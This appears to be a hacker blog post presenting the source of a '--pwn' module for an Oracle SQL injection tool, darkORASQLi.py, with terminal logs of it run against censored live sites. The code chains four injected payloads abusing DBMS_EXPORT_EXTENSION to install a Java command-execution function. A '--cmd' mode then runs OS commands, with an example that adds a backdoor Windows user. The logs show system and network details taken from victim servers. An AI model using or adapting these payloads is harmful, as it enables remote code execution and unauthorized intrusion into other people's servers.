check this out..
print " --pwn Injecting OS command execution function"
print " --cmd Command to exec"
SOURCE CODE:
# Mode --pwn
if mode != "" and mode == "--pwn":
print "[+] This mode is taking advantage of DBMS_EXPORT_EXTENSION vulnerability to run OS command\n[+] Sending our ^EVIL^ pay
loads:\n"
payload1_URL = site.replace("utl_inaddr.get_host_address((darkc0de))","(select+SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',
'DBMS_OUTPUT\".PUT(:P1);EXECUTE+IMMEDIATE+''DECLARE+PRAGMA+AUTONOMOUS_TRANSACTION;BEGIN+EXECUTE+IMMEDIATE+''''create+or+replace+and+compil
e+java+source+named+\"LinxUtil\"+as+import+java.io.*;+public+class+LinxUtil+extends+Object+{public+static+String+runCMD(String+args)+{try{Buffered
Reader+myReader=+new+BufferedReader(new+InputStreamReader(+Runtime.getRuntime().exec(args).getInputStream()+)+);+String+stemp,str=\"\";while+(
(stemp+=+myReader.readLine())+!=+null)+str+%2b=stemp%2b\"\\n\";myReader.close();return+str;}+catch+(Exception+e){return+e.toString();}
}public+static+String+readFile(String+filename){try{BufferedReader+myReader=+new+BufferedReader(new+FileReader(filename));+String+stemp,str=\"\"{
; }while+((stemp+=+myReader.readLine())+!=+null)+str+%2b=stemp%2b\"\\n\";myReader.close();return+str;}+catch+(Exception+e){return+e.toStri
ng();}}}'''';END;'';END;--','SYS',0,'1',0)+from+dual)")+arg_end
sys.stdout.write("[+] Stage 1: Creating Java Library ")
source1 = GetThatShit(payload1_URL)
match1 = re.findall("ORA-",source1)
if len(match1) >= 1:
sys.stdout.write("[ FAIL ]\n")
else:
sys.stdout.write("[ OK ]\n")
time.sleep(5)
payload2_URL = site.replace("utl_inaddr.get_host_address((darkc0de))","(select+SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',
'DBMS_OUTPUT\".PUT(:P1);EXECUTE+IMMEDIATE+''DECLARE+PRAGMA+AUTONOMOUS_TRANSACTION;BEGIN+EXECUTE+IMMEDIATE+''''begin+dbms_java.grant_permis
sion(+''''''''PUBLIC'''''''',+''''''''SYS:java.io.FilePermission'''''''',+''''''''<>'''''''',+''''''''execute''''''''+);end;'''';END{
; }'';END;--','SYS',0,'1',0)+from+dual)")+arg_end
sys.stdout.write("[+] Stage 2: Granting Java Execute Privileges ")
source2 = GetThatShit(payload2_URL)
match2 = re.findall("ORA-",source2)
if len(match2) >= 1:
sys.stdout.write("[ FAIL ]\n")
else:
sys.stdout.write("[ OK ]\n")
time.sleep(5)
payload3_URL = site.replace("utl_inaddr.get_host_address((darkc0de))","(select+SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',
'DBMS_OUTPUT\".PUT(:P1);EXECUTE+IMMEDIATE+''DECLARE+PRAGMA+AUTONOMOUS_TRANSACTION;BEGIN+EXECUTE+IMMEDIATE+''''create+or+replace+function+L
inxRunCMD(p_cmd+in+varchar2)+return+varchar2+as+language+java+name+''''''''LinxUtil.runCMD(java.lang.String)+return+String'''''''';+'''';END{
; }'';END;--','SYS',0,'1',0)+from+dual)")+arg_end
sys.stdout.write("[+] Stage 3: Creating Function for Command Execution ")
source3 = GetThatShit(payload3_URL)
match3 = re.findall("ORA-",source3)
if len(match3) >= 1:
sys.stdout.write("[ FAIL ]\n")
else:
sys.stdout.write("[ OK ]\n")
time.sleep(5)
payload4_URL = site.replace("utl_inaddr.get_host_address((darkc0de))","(select+SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',
'DBMS_OUTPUT\".PUT(:P1);EXECUTE+IMMEDIATE+''DECLARE+PRAGMA+AUTONOMOUS_TRANSACTION;BEGIN+EXECUTE+IMMEDIATE+''''grant+all+on+LinxRunCMD+to+p
ublic'''';END;'';END;--','SYS',0,'1',0)+from+dual)")+arg_end
sys.stdout.write("[+] Stage 3: Making Function Executable by All Users ")
source4 = GetThatShit(payload4_URL)
match4 = re.findall("ORA-",source4)
if len(match4) >= 1:
sys.stdout.write("[ FAIL ]\n")
else:
sys.stdout.write("[ OK ]\n")
time.sleep(5)
print "\n[+] If all OK you should now can exec command with --cmd option"
print "[+] Example: \n"
print "[+] Windows"
print "[+] --cmd \"cmd.exe /c net user d3ck4 d4rkc0d3rz /add\"\n"
print "[+] UNIX/Linux"
print "[+] --cmd \"/bin/uname -a\"\n"
sys.exit(1)
# Mode --cmd
elif mode == "--cmd":
print "\n[+] Executing OS command from the server"
count_URL = site.replace("darkc0de","SELECT+CHR(35)||CHR(35)||COUNT(sys.LinxRunCMD(\'"+arg_cmd.replace(" ","+")+"\'))||CHR(35)||CHR(58)+FROM+
DUAL")+arg_end
line_URL = site.replace("darkc0de","SELECT+CHR(35)||CHR(35)||sys.LinxRunCMD(\'"+arg_cmd.replace(" ","+")+"\')||CHR(35)||CHR(58)+FROM+DUAL")+a
rg_end
arg_row = "Command Lines"
MODULE IN ACTION
--pwn
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[somevulnsite]/detail.jsp?id=[censored]35'" --pwn
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[somevulnsite]/detail.jsp?id=100[censored]5'
[+] 10:47:52
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored].WORLD
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] This mode is taking advantage of DBMS_EXPORT_EXTENSION vulnerability to run OS command
[+] Sending our ^EVIL^ payloads:
[+] Stage 1: Creating Java Library [ OK ]
[+] Stage 2: Granting Java Execute Privileges [ OK ]
[+] Stage 3: Creating Function for Command Execution [ OK ]
[+] Stage 3: Making Function Executable by All Users [ OK ]
[+] If all OK you should now can exec command with --cmd option
[+] Example:
[+] Windows
[+] --cmd "cmd.exe /c net user d3ck4 d4rkc0d3rz /add"
[+] UNIX/Linux
[+] --cmd "/bin/uname -a"
--cmd "/bin/uname -a"
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=10[censored]35'" --cmd "/bin/uname -a"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=10[censored]35'
[+] 10:46:54
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /bin/uname -a
Linux a[censored]n 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:00:54 EDT 2005 x86_64 x86_64 x86_64 GNU/Linux
[-] 10:46:55
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
angryleopard:darkc0de d3ck4$ python darkORASQLi.py -u "https://[censored]/detail.jsp?id=1[censored]5'" --cmd "/sbin/ifconfig"
|-------------------------------------------------|
| d3ck4, hacking.expose@gmail.com v1.0 |
| |
| 05/2009 darkORASQLi.py |
| -- Multi Purpose Oracle SQL Injection Tool -- |
| Usage: darkORASQLi.py [options] |
| -h help hackingexpose.blogspot.com |
| |
| credit: rsauron, d3hydr8 [at] www.darkc0de.com |
|-------------------------------------------------|
[+] URL: https://[censored]/detail.jsp?id=1[censored]5'
[+] 10:33:57
[+] Evasion: + --
[+] Cookie: None
[+] SSL: Yes
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-] Proxy Not Given
[+] Gathering Oracle Server Configuration...
Database: [censored]
User: [censored]
Version: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bi
[+] Do we have Access to Oracle Database: NO
[-] Oracle user:password enumeration has been skipped!
[-] We do not have access to Oracle DB on this target!
[+] Executing OS command from the server
[+] Number of Command Lines: 1
$ /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 00:11:[censored]:DC
inet addr:10.[censored] Bcast:10.[censored] Mask:255.255.255.0
inet6 addr: 2001:e68:2000:6458:211:25ff:fec4:dddc/64 Scope:Global
inet6 addr: fe80::211:25ff:fec4:dddc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:351166911 errors:0 dropped:0 overruns:0 frame:0
TX packets:393842969 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:63516816827 (59.1 GiB) TX bytes:231324821682 (215.4 GiB)
Interrupt:201
eth1 Link encap:Ethernet HWaddr 00:11:[censored]:DD
inet6 addr: fe80::211:25ff:fec4:dddd/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
Interrupt:209
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:948943 errors:0 dropped:0 overruns:0 frame:0
TX packets:948943 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:93467115 (89.1 MiB) TX bytes:93467115 (89.1 MiB)
[-] 10:34:04
[-] Total URL Requests: 5
[-] Done
Don't forget to check darkORASQLi.log
20% to go.. till then, HAPPY HACKING ;-)
- d3ck4 -
